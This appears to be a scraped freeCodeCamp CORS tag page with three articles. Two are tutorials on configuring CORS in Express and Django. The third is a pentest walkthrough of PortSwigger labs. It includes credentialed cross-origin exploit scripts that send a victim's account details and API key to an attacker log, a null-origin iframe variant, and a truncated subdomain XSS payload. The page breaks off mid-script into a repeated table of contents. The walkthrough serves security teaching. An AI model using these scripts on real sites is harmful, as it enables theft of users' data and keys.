CORS - freeCodeCamp.org

How to Fix Cross-Origin Errors — CORS Error Explained

Sumit Saha — Wed, 01 Oct 2025 13:57:58 +0000

In this article, you’ll learn about an important concept: Cross-Origin Resource Sharing (CORS) policy. As a developer, you might encounter a situation where a client request to the server fails, and the browser displays a red error like "CORS policy failed." Even when the request is correctly implemented, this error can still occur.

Some beginners may search online or copy temporary fixes, which may solve the issue without providing real understanding. Here, we’ll break down CORS in a clear way so you can understand why it happens and how to fix it.

Here’s What We’ll Cover

Prerequisites
Project Setup
Demonstration: Client-Server Interaction
What is Origin?
What Does the Browser Mean by CORS Policy?
How to Fix CORS Policy Errors
Additional Notes on CORS
Summary
Final Words

Prerequisites

To follow along and get the most out of this guide, you should have:

Basic knowledge of JavaScript — You should be familiar with JavaScript syntax, functions, and the fetch API to make HTTP requests from the client side.
Node.js and npm installed — You will use Node.js for the server-side setup and npm to manage packages. You can download Node.js from here.
A code editor (like VS Code) — You will need a code editor like VS Code to write and run your client and server files.
Basic knowledge of HTTP methods — Knowledge of GET, POST, PUT, DELETE requests will help you understand how the browser and server communicate.
A browser with Developer Tools — Chrome, Firefox, or Edge with Developer Tools.
Optional but helpful: VS Code Live Server extension — This helps run your HTML files locally for testing client-server requests.

I’ve also created a video to go along with this article. If you’re the type who likes to learn from video as well as text, you can check it out here:

Project Setup

Before exploring CORS, let's set up a basic client and server.

Initialize the Server

First, create a project folder named cors-tutorial, and inside that folder, create another folder called server. Then, navigate into the server folder and initialize a Node project. Run the commands below one by one:

mkdir cors-tutorial
cd cors-tutorial
mkdir server
cd server
npm init -y

Install Required Packages

For the basic server setup, you will use a popular Node.js framework, Express.js. Install it with the following command:

npm install express

Create Server File

Create a server/app.js file. Inside the file, import the installed Express package and initialize the app using the express() function. Then, create a route /data that returns a simple JSON object.

// server/app.js
const express = require("express");
const app = express();

app.get("/data", (req, res) => {
    res.json({
        name: "Bangladesh",
        description: "Land of emotions",
    });
});

app.listen(3000, () => {
    console.log("Server is running on http://localhost:3000");
});

Run The Server

Now start the server with the following command:

node app.js

Client Setup

It’s time to setup the Client. Create an index.html and script.js file inside the cors-tutorial folder.


html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>What is CORStitle>
  head>
  <body>
    <div>
      <button onclick="fetchData()">Fetch Databutton>
    div>

    <script src="./script.js">script>
  body>
html>

// script.js
async function fetchData() {
  const response = await fetch("http://localhost:3000/data", {
    method: "GET",
  });

  const data = await response.json();
  console.log(data);
}

Demonstration: Client-Server Interaction

Client Side

index.html has a single button labeled Fetch Data.
The client runs on 127.0.0.1:5500 using VS Code Live Server.
Browser console is open to view logs.

Server Side

A minimal Express server is in the server folder.

app.js contains the /data route that returns:

  {
    "name": "Bangladesh",
    "description": "Land of emotions"
  }

Server is running on localhost:3000

How it Works

Clicking the Fetch Data button calls fetchData() from script.js.
fetchData() sends a GET request to the server and logs the JSON response.
Directly visiting localhost:3000/data also shows the JSON output.
Since client and server ports differ, you may see a CORS-related error message in the console.

Notes

Python, PHP or other backend languages can be used similarly to create an API.
This demonstration shows how the client interacts with the server before handling CORS issues.

What is Origin?

Origin means the source where the request is coming from. I made the request from 127.0.0.1:5500 and I'm trying to access data on localhost:3000. Both are URLs but they are different, right? When we say URL we mean the domain part, not the full path. localhost and 127.0.0.1 look the same but they are different as far as origin is concerned. The ports are also different. Because of that, the URL or origin is considered different.

So the source and the server are different, and that's why it says "has been blocked by CORS policy" and "No 'Access-Control-Allow-Origin' header is present on the requested resource." When a beginner sees this, they may not understand the whole process: why it happens and how it happens. We'll learn that now and how to solve it.

What Does the Browser Mean by CORS Policy?

Imagine your website is xyz.com and that's our frontend. And your server is www.abc.com, a different domain, These two are different domains. We expect xyz.com to make a request to abc.com and abc.com to send a response — simple.

The code we wrote should work, but sometimes it doesn't, which can be confusing. Why does this happen? The reason is simple: the CORS policy is blocking the request. CORS policy is a browser policy. Its full form is Cross-Origin Resource Sharing (CORS).

In simple terms, if the domain of the requester is different from the domain of the receiver, then by default, the browser will reject the request. Although it may reach the server, the browser will refuse to deliver the response to the client. That's why we see this behaviour.

How to Fix CORS Policy Errors

This task needs to be handled on the server side. First, open the browser Network tab. When you make the request, reload and clear everything, then click fetchData. Notice the request details. Each request has two parts: Request Headers and Response Headers.

Request headers are sent by the browser and include metadata and browser-related information. Response headers are generated by the server and also contain metadata, while the request headers are created by the client (the browser).

If you inspect the response side, the error says: "No 'Access-Control-Allow-Origin' header is present on the requested resource". So you need to look for this header in the response. In the Network tab, if you check the response headers, you’ll see that there is no Access-Control-Allow-Origin. If the response had that header, the browser would allow access. So you have to add the appropriate header to the response.

So what should we do? If you want to fix this in a Node.js/Express setup, go to the app.js file in the server folder. Stop the server and install the cors package:

npm install cors

After installing the package, restart the server. Next import the package and tell the app to use it. The cors() function can accept an origin option. If we set origin to localhost:5500, which is our client's URL, the server will allow only that origin. If you want to allow multiple origins, you can pass an array of URLs. Here, I'm setting a single URL because the client runs on port 5500. That means requests from other addresses won't be allowed.

You can now reload, clear the console, and click fetchData again, but you’ll still have an issue. Why? Because the client URL was using 127.0.0.1 instead of localhost. That's a variation, and the origin must match exactly. So you can change it to 127.0.0.1:5500 in the server config.

Now you can reload, clear, and click fetchData. Everything should work as expected now: there's no error the response was sent, and the data was printed to the console.

If you inspect the network response headers for the data request, you should see Access-Control-Allow-Origin: http://127.0.0.1:5500. That means the server responded with the CORS header and allowed that origin. Since the origin matched, the request succeeded. The takeaway: the server must include an Access-Control-Allow-Origin header specifying the allowed domain. If you want to allow every origin (for a public API) you can use *. In Express, you can also simply call app.use(cors()) to allow all origins. That will make the server accept requests from any origin.

// server/app.js
const express = require("express");
const cors = require("cors");
const app = express();

// Enable CORS for the client origin
app.use(cors({ origin: "http://127.0.0.1:5500" }));

app.put("/data", (req, res) => {
    res.json({
        name: "Bangladesh",
        description: "Land of emotions",
    });
});

app.listen(3000, () => {
    console.log("Server is running on http://localhost:3000");
});

This ensures the server explicitly allows the client origin, resolving CORS policy errors.

Additional Notes on CORS

One more thing to note. The request we were sending from the client was a GET request. For GET, POST, DELETE, the process is straightforward. But for methods like PUT, which modify data on the server, CORS behaves slightly differently. If you change the client to send a PUT request and the server defines an app.put route, you'll notice two requests in the network panel. The browser sends a preflight request first. This is the browser’s way of checking whether it's allowed to send the actual request. That preflight request is an OPTIONS request sent automatically by the browser before the actual PUT request.

// server/app.js
const express = require("express");
const cors = require("cors");

const app = express();
app.use(
    cors({
        origin: "http://127.0.0.1:5500",
        methods: ["GET", "POST"],
    })
);

app.put("/data", (req, res) => {
    res.json({
        name: "Bangladesh",
        description: "Land of emotions",
    });
});

app.listen(3000);

// script.js
async function fetchData() {
    const response = await fetch("http://localhost:3000/data", {
        method: "PUT",
    });

    const data = await response.json();

    console.log(data);
}

When you look at the preflight request in the Network tab, you will see response headers that include Access-Control-Allow-Methods and other CORS headers. The default cors package allows all methods like GET, POST, PUT, HEAD, PATCH, and so on. If you want tighter security, you can specify allowed methods in the CORS configuration. For example, set the methods option to ['GET', 'POST'] to allow only GET and POST and disallow PUT and DELETE. Even if the origin matches, if the method is not allowed, the preflight will fail and the actual request will be blocked.

If you perform the same request with disallowed methods, it will fail. The console will show the exact CORS error message. Now that you understand the flow, you'll be able to explain in an interview:
"Access to fetch at [URL-1] from origin [URL-2] has been blocked by CORS policy: The PUT method is not allowed by Access-Control-Allow-Methods in preflight response." The preflight check saw Access-Control-Allow-Methods: GET, POST and therefore blocked the PUT request.

So you can control CORS behaviour using two main things: Access-Control-Allow-Origin and Access-Control-Allow-Methods. If you understand these and configure them on the server, you can control which origins and methods are allowed. This is ultimately what the CORS policy is: a browser-enforced security measure. Browsers implement this standard pattern so that if the server does not send the proper headers, the browser will not allow the client to access the response.

Summary

CORS (Cross-Origin Resource Sharing) is a browser-enforced security mechanism that blocks requests from different origins unless explicitly allowed by the server.
Origin is determined by protocol, domain, and port. Even small differences like localhost vs 127.0.0.1 or different ports make the origin different.
Browsers block responses if the server does not include the Access-Control-Allow-Origin header for the requesting origin.
The Node.js cors package can help handle CORS easily. Using app.use(cors({ origin: "http://127.0.0.1:5500" })) allows only the specified client origin.
For methods like PUT, DELETE, and PATCH, browsers send a preflight OPTIONS request first to check if the method and origin are allowed.
The Access-Control-Allow-Methods header defines which HTTP methods the server permits. If a method is disallowed, the preflight fails, and the request is blocked.
Proper configuration of Access-Control-Allow-Origin and Access-Control-Allow-Methods ensures safe and functional client-server communication.
Always match the client origin exactly and allow only necessary methods for security. Public APIs can use * to allow all origins.

Final Words

You can find all the source code for this tutorial in this GitHub repository. If it helped you in any way, consider giving it a star to show your support!

Also, if you found the information here valuable, feel free to share it with others who might benefit from it. I’d really appreciate your thoughts – mention me on X @sumit_analyzen or on Facebook @sumit.analyzen, watch my coding tutorials, or simply connect with me on LinkedIn.

How to Enable CORS in Django

Udemezue John — Mon, 28 Apr 2025 15:51:42 +0000

If you've ever tried to connect your frontend app to your Django backend and suddenly hit an error that looks something like "has been blocked by CORS policy", you're not alone. It’s frustrating, especially when your code seems fine.

So what’s going on?

This is where CORS (Cross-Origin Resource Sharing) comes in. It's a browser security feature that blocks web pages from making requests to a different domain than the one that served the web page.

It’s there to protect users, but if it’s not configured correctly, it can stop your app from working the way you want.

Let’s fix that.

In this article, I’ll walk you through everything you need to know to enable CORS in Django without headaches.

What is CORS and Why Should You Care?

Before you start changing settings, it’s important to understand what CORS is.

Imagine you have a frontend built with React running on http://localhost:3000 and a Django API running on http://localhost:8000.

When the frontend tries to talk to the backend, your browser sees that they’re not the same origin (they have different ports), and it blocks the request.

That’s CORS doing its job. It assumes you might be trying to do something unsafe – like stealing cookies or user data – so it steps in.

Now, as a developer, if you trust the frontend and you own both ends, then it’s safe to let those requests through. You just need to tell Django it’s okay.

How to Enable CORS in Django

You’re going to need a third-party package called django-cors-headers. It’s widely used and actively maintained. Here’s how to set it up:

1. Install `django-cors-headers`

Run this in your terminal:

pip install django-cors-headers

This adds the package to your environment so Django can use it.

2. Add It to `INSTALLED_APPS`

Open your settings.py file and find the INSTALLED_APPS section. Add this line:

INSTALLED_APPS = [
    ...
    'corsheaders',
]

This registers the app with Django.

3. Add Middleware

Now scroll down to the MIDDLEWARE section in settings.py. Add this at the top of the list:

MIDDLEWARE = [
    'corsheaders.middleware.CorsMiddleware',
    'django.middleware.common.CommonMiddleware',
    ...
]

Why at the top? Because middleware in Django runs in order. If you don’t place it at the top, the CORS headers might not be added correctly, and your browser will still block your requests.

4. Set the Allowed Origins

This is where you tell Django which origins are allowed to talk to your backend.

Still in settings.py, add:

CORS_ALLOWED_ORIGINS = [
    "http://localhost:3000",
]

Replace localhost:3000 with whatever domain or port your frontend is using. If you're using HTTPS or deploying, make sure to include the correct URL, like https://yourfrontend.com.

And that’s it! You’re now allowing your frontend to access your backend.

Optional Settings You Might Need

Depending on your project, you might run into other issues. Here are some extra settings you might find useful:

Allow All Origins (Not Recommended for Production)

If you’re just testing and want to allow everything (be careful with this), you can use:

CORS_ALLOW_ALL_ORIGINS = True

Again, don’t use this in production unless you understand the risks. It can open up your API to abuse.

Allow Credentials (Cookies, Auth)

If your frontend is sending authentication credentials like cookies or tokens, you also need this:

CORS_ALLOW_CREDENTIALS = True

And make sure you don’t use CORS_ALLOW_ALL_ORIGINS with this setting – it won’t work due to security rules. Stick to CORS_ALLOWED_ORIGINS.

Allow Specific Headers

By default, common headers are allowed, but if you’re sending custom ones (like X-Auth-Token), you can add:

CORS_ALLOW_HEADERS = [
    "content-type",
    "authorization",
    "x-auth-token",
    ...
]

Example: Full Settings File Snippet

Here’s a mini version of what your settings.py might look like after setup:

INSTALLED_APPS = [
    ...
    'corsheaders',
    ...
]

MIDDLEWARE = [
    'corsheaders.middleware.CorsMiddleware',
    'django.middleware.common.CommonMiddleware',
    ...
]

CORS_ALLOWED_ORIGINS = [
    "http://localhost:3000",
]

CORS_ALLOW_CREDENTIALS = True

You can tweak this based on your needs, but that’s the basic structure.

Common Errors (And How to Fix Them)

1. CORS Not Working At All?

Double check:

You added corsheaders.middleware.CorsMiddleware it at the top of the middleware list.
Your frontend origin matches exactly, including port and protocol.
You restarted your server after changing the settings.

2. Preflight Request Fails (OPTIONS method)

Sometimes your browser sends an OPTIONS request first to check if the server will allow the real request. Make sure your views or Django setup allow that method, or Django will return a 405 error.

You don’t usually need to do anything here unless you’re using a custom middleware or view decorator that blocks it.

3. Using Django Rest Framework?

No problem – django-cors-headers works out of the box. Just make sure it’s installed and the middleware is set up correctly.

FAQs

Can I allow multiple frontend URLs?

Yes! Just add more items to the list:

CORS_ALLOWED_ORIGINS = [
    "http://localhost:3000",
    "https://myfrontend.com",
]

Does CORS affect local development only?

No, it applies in production too. Any time your frontend and backend are on different origins (different domain or port), you need to handle CORS.

Is it secure to allow all origins?

No. Only do that temporarily during development. Always restrict access in production to just the domains you trust.

Do I need to change anything on the frontend?

Sometimes. If you're sending credentials (like cookies), you’ll need to set credentials: "include" in your fetch or Axios requests.

Example with fetch:

fetch("http://localhost:8000/api/data", {
  method: "GET",
  credentials: "include",
})

Final Thoughts

CORS can feel like a wall you keep running into when building web apps. But once you get the hang of how it works – and how to set it up in Django – it becomes a small thing you configure and move on.

Just remember:

Be specific in production
Always restart the server after changes
Don’t ignore warnings in your browser console – they’re your friends

Now you know how to enable CORS in Django the right way.

Further Resources

django-cors-headers GitHub page – for full documentation.
MDN CORS Overview – to understand how CORS works under the hood.
Official Django Middleware Docs

Exploiting CORS – How to Pentest Cross-Origin Resource Sharing Vulnerabilities

Nairuz Abulhul — Thu, 09 Mar 2023 16:25:31 +0000

All web browsers implement a security model known as the Same-Origin Policy (SOP). It restricts domains from accessing and retrieving data from other domains’ resources.

The SOP policy helps protect users from malicious scripts that could access their sensitive data or perform unauthorized actions on their behalf.

For example, if **business.com** tries to make an HTTP request to **metrics.com**, the browser, by default, will block the request because it comes from a different domain.

As much as the SOP sounds like a proper protection policy, it doesn’t scale well in today’s technologies that depend on each other for operation. For example, it presents challenges to APIs and microservices which have legitimate use cases for accessing and sharing information between domains.

Because of cases like this, there was a need for a new security mechanism that would allow for cross-domain interactions. It's known as Cross-Origin Resource Sharing (CORS).

This article will cover the basics of how CORS works and identify common vulnerabilities that can occur when you don't implement CORS correctly. We will also learn how to test and exploit the misconfigurations so that by the end of this guide, you will have a better understanding of how to test and validate for CORS during a pentest assessment.

I will use the Port Swigger CORS labs to demonstrate the testing and exploitation steps.

What is Cross-Site Origin Policy (CORS)?
Impact of CORS Misconfigurations
How to Identify CORS
Exploitable Cases
Unexploitable Case
Mitigations
Resources

What is Cross-Site Origin Policy (CORS)?

CORS is a security feature created to selectively relax the SOP restrictions and enable controlled access to resources from different domains. CORS rules allow domains to specify which domains can request information from them by adding specific HTTP headers in the response.

There are several HTTP headers related to CORS, but we are interested in the two related to the commonly seen vulnerabilities — **Access-Control-Allow-Origin** and **Access-Control-Allow-Credentials**.

Access-Control-Allow-Origin: This header specifies the allowed domains to read the response contents. The value can be either a wildcard character **(*)**, which indicates all domains are allowed, or a comma-separated list of domains.

#All domain are allowed
Access-Control-Allow-Origin: *   


#comma-separated list of domains
Access-Control-Allow-Origin: example.com, metrics.com

Access-Control-Allow-Credentials: This header determines whether the domain allows for passing credentials — such as cookies or authorization headers in the cross-origin requests.

The value of the header is either True or False. If the header is set to “true,” the domain allows sending credentials. If it is set to “false,” or not included in the response, then it is not allowed.

#allow passing credenitals in the requests
Access-Control-Allow-Credentials: true

#Disallow passing in the requests
Access-Control-Allow-Credentials: false

Impact of CORS Misconfigurations

CORS misconfigurations can have a significant impact on the security of web applications. Below are the main implications:

Data Theft: Attackers can use CORS vulnerabilities to steal sensitive data from applications like API keys, SSH keys, Personal identifiable information (PII), or users’ credentials.
Cross-Site Scripting (XSS): Attackers can use CORS vulnerabilities to perform XSS attacks by injecting malicious scripts into web pages to steal session tokens or perform unauthorized actions on behalf of the user.
Remote Code Execution in some cases (StackStorm case)

How to Identify CORS

When testing an application for CORS, we check if any of the application’s responses contain the CORS headers. We can use the search functionality in Burp Suite to search for the headers quickly.

In the example below, I searched for the **Access-Control-Allow-Credentials** header and got three (3) responses back. Once the headers are identified, we can select the requests and send them to Repeater for further analysis.

Figures 1 & 2 show the search functionality in Burp Suite to look for CORS headers.

To identify CORS issues, we can modify the Origin header in the requests with multiple values and see what response headers we get back from the application. There are four (4) known ways to do this, which we'll go over now.

1. Reflected Origins

Set the Origin header in the request to an arbitrary domain, such as [**https://attackersdomain.com**](https://attackersdomain.com./), and check the **Access-Control-Allow-Origin** header in the response. If it reflects the exact domain you supplied in the request, it means the domain doesn’t filter for any origins.

The risk of this misconfiguration is high if the domain allows for credentials to be passed in the requests. We can validate that by checking if the **Access-Control-Allow-Credentials** header is also included in the response and is set to **true**.

However, the risk is low if passing credentials is not allowed, as the browser will not process the responses from authenticated requests.

📌 To exploit reflected origins, check the exploitation section — Case #1.

Figure 3 — shows the value of the Origin header included in the Access-Control-Allow-Origin header.

2. Modified Origins

Set the Origin header to a value that matches the targeted domain, but add a prefix or suffix to the domain to check if there is any validation on the beginnings or ends of the domain.

If no checks are in place, we can create a similar matching domain that bypasses the CORS policy on the targeted domain. For example, adding a prefix or suffix to the **metrics.com** domain would be something like **attackmetrics.com** or **metrics.com.attack.com**.

The risk of this misconfiguration is considered high if the domain allows for passing credentials with the **Access-Control-Allow-Credentials** header set to true. The attacker can create a similar matching domain and retrieve sensitive information from the targeted domain.

But the risk would be low if authenticated requests were not allowed.

📌To exploit modified origins, check the exploitation section — Case #1.

3. Trusted subdomains with Insecure Protocol.

Set the Origin header to an existing subdomain and see if it accepts it. If it does, it means the domain trusts all its subdomains. This is not a good idea because if one of the subdomains has a Cross-Site Scripting (XSS) vulnerability, it will allow the attacker to inject a malicious JS payload and perform unauthorized actions.

This misconfiguration is considered high risk if the domain accepts subdomains with an insecure protocol, such as HTTP, and the credential header is set to true. Otherwise, it will not be exploitable and would be only a poor CORS implementation.

📌 To exploit trusted subdomains, check the exploitation section — Case #3.

Figure 4 — shows the application accepts arbitrary insecure subdomains.

4. Null Origin

Set the Origin header to the null value — **Origin: null**, and see if the application sets **the Access-Control-Allow-Origin** header to null. If it does, it means that null origins are whitelisted.

The risk level is considered high if the domain allows for authenticated requests with the **Access-Control-Allow-Credentials** header set to **true**.

But if it does not, then the issue is considered low, and not exploitable.

📌 To exploit Null Origins, check the exploitation section- Case #2.

Figure 5 — shows the application accepted the null value and returned it in the response.

Exploitable CORS Cases

In this section, we will go over how to exploit the CORS misconfigurations by categorizing them into test cases for easy understanding.

Case 1: Reflected Origin

The application is considered vulnerable when it sets the Access-Control-Allow-Origin to the attacker’s supplied domain and enables passing credentials with the Access-Control-Allow-Credentials set to true.

Access-Control-Allow-Origin: http://attacker-domain.com
Access-Control-Allow-Credentials: true

Figure 6 — shows the CORS headers for reflected origin.

The exploitation requires the attacker to host the JS script on an external server to be accessible to the user. Then they have to create an HTML page, embed the JS script below, and send it to the user.


  <body>
    <script>

    #Initialize the XMLHttpRequest object, and the application URL vairable 
        var req = new XMLHttpRequest();
        var url = ("APPLICATION URL");

    #MLHttpRequest object loads, exectutes reqListener() function
      req.onload = retrieveKeys;

    #Make GET request to the application accounDetails location
        req.open('GET', url + "/accountDetails",true);

    #Allow passing credentials with the requests
    req.withCredentials = true;

    #Send the request 
        req.send(null);

    function retrieveKeys() {
            location='/log?key='+this.responseText;
        };

  script>
  <body>
html>

Once the user visits your hosted page, it will automatically submit a CORS request to retrieve information about the user from the location specified in the script. Understanding the application structure and where it stores its sensitive information is essential for this step.

The above script starts with initializing the **XMLHttpRequest** (XHR) object to instruct the web browser that we will transfer data to and from a web server using the HTTP protocol. XHR is a browser API that allows client-side scripting languages such as JavaScript to make HTTP requests to a server and receive their responses dynamically without requiring the user to refresh the page.

Then, we instruct the object to execute a function called retrieveKeys that fetches the admin API key and sends the response to us when it loads.

Next, we make a GET request specifying the location from which we want to retrieve information and pass our credentials with the Credentials function set to true.

The request will automatically get blocked and denied if the application server doesn’t allow passing credentials between domains. But we know that this won’t happen here because the **access-Control-Allow-Credentials** is set to true.

To demonstrate how the script works, I’ll use the exploit server PortSwigger has available with the lab to host the above script.

Login into the application, click the “Go to exploit server,” and paste the script in the body. Then click on “Deliver exploit to victim.” In a real scenario, you need to send the link to the user and try to entice them to click it.

Figures 7 & 8 — show the process of hosting the JS payload and delivering it to the user.

After delivering the exploit, click on “Access log” and you should be able to see the captured admin’s API key in the logs. Copy the string that has the key and paste into Burp Suite Decoder and decode it as a URL to retrieve the cleartext value.

Figures 9 & 10 — show the admin API key in the logs and the plain text key value on Decoder.

Case 2: Null Origin

The application is considered vulnerable when it sets the Access-Control-Allow-Origin to the null value and enables passing credentials with the Access-Control-Allow-Credentials set to true.

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Figure 11 — shows the application server accepts null origins.

The exploitation requires us to host the JS script file to be accessible to the targeted user (same as in case #1). Again, we will use the same script – just this time, we will add an iframe sandbox to retrieve the API key. The sandbox property sets the frame’s origin to null so that we can set the Origin header to the null value.


    <body>
        <iframe style="display: none;" sandbox="allow-scripts" srcdoc="
        ">iframe>
    body>

When the authenticated user clicks on our link [**http://192.168.1.14:5555/cors_null_poc.html**](http://192.168.1.14:5555/cors_null_poc.html.), we will get the API key from the account details. But since our user is not an admin, we won’t be able to retrieve the admin API key.

The point of showing the below steps is that during a web application testing assessment, as a tester, you would be given admin and regular user accounts to test with them. In those cases, you follow the below steps to show your proof of concept through hosting the file locally. Or, of course, you can host the file externally as an alternative option.

_Figures 12 & 13 — show null value is added to the request header, and the user accessed the cors_nullpoc page.

Figure 14 — shows the user’s account details when clicking the link.

Case 3: Trusted Subdomains

The application is considered vulnerable when it sets the Access-Control-Allow-Origin to any of its subdomains and allows credentials with Access-Control-Allow-Credentials set to true.

The exploitation of this case is dependent on whether the existing subdomain is vulnerable to XSS vulnerability to enable the attacker to abuse the misconfiguration.

Access-Control-Allow-Origin: subdomainattacker.example.com
Access-Control-Allow-Credentials: true

Figure 15 — shows the domain accepts its subdomains’ origins.

If you encounter this scenario, you need to check all the existent subdomains and try to find one with an XSS vulnerability to exploit it.

In the Port Swigger lab #3, the application trusts its subdomain — stock — that is vulnerable to XSS vulnerability in the **ProductId=** parameter.

Figures 16 & 17 — show the stocks subdomain vulnerable to XSS in the ProductId parameter.

We will use the same script to exploit this case, except we will add the location where we inject the payload using the **document.location** function. Then we format the payload to be a one-liner payload so that we can pass it in the parameter.

After that, we save the script as **cors_poc.html**, host it on our server, and send the link to the user.


<body>
<script>
    document.location="http://Insecure-subdomain/?productId=

CORS - freeCodeCamp.org

How to Fix Cross-Origin Errors — CORS Error Explained

Here’s What We’ll Cover

Prerequisites

Project Setup

Initialize the Server

Install Required Packages

Create Server File

Run The Server

Client Setup

Demonstration: Client-Server Interaction

Client Side

Server Side

How it Works

Notes

What is Origin?

What Does the Browser Mean by CORS Policy?

How to Fix CORS Policy Errors

Additional Notes on CORS

Summary

Final Words

How to Enable CORS in Django

Here’s what we’ll cover:

What is CORS and Why Should You Care?

How to Enable CORS in Django

1. Install django-cors-headers

2. Add It to INSTALLED_APPS

3. Add Middleware

4. Set the Allowed Origins

Optional Settings You Might Need

Allow All Origins (Not Recommended for Production)

Allow Credentials (Cookies, Auth)

Allow Specific Headers

Example: Full Settings File Snippet

Common Errors (And How to Fix Them)

1. CORS Not Working At All?

2. Preflight Request Fails (OPTIONS method)

3. Using Django Rest Framework?

FAQs

Can I allow multiple frontend URLs?

Does CORS affect local development only?

Is it secure to allow all origins?

Do I need to change anything on the frontend?

Final Thoughts

Further Resources

Exploiting CORS – How to Pentest Cross-Origin Resource Sharing Vulnerabilities

Table of Contents

What is Cross-Site Origin Policy (CORS)?

Impact of CORS Misconfigurations

How to Identify CORS

1. Reflected Origins

2. Modified Origins

3. Trusted subdomains with Insecure Protocol.

4. Null Origin

Exploitable CORS Cases

Case 1: Reflected Origin

Case 2: Null Origin

Case 3: Trusted Subdomains

1. Install `django-cors-headers`

2. Add It to `INSTALLED_APPS`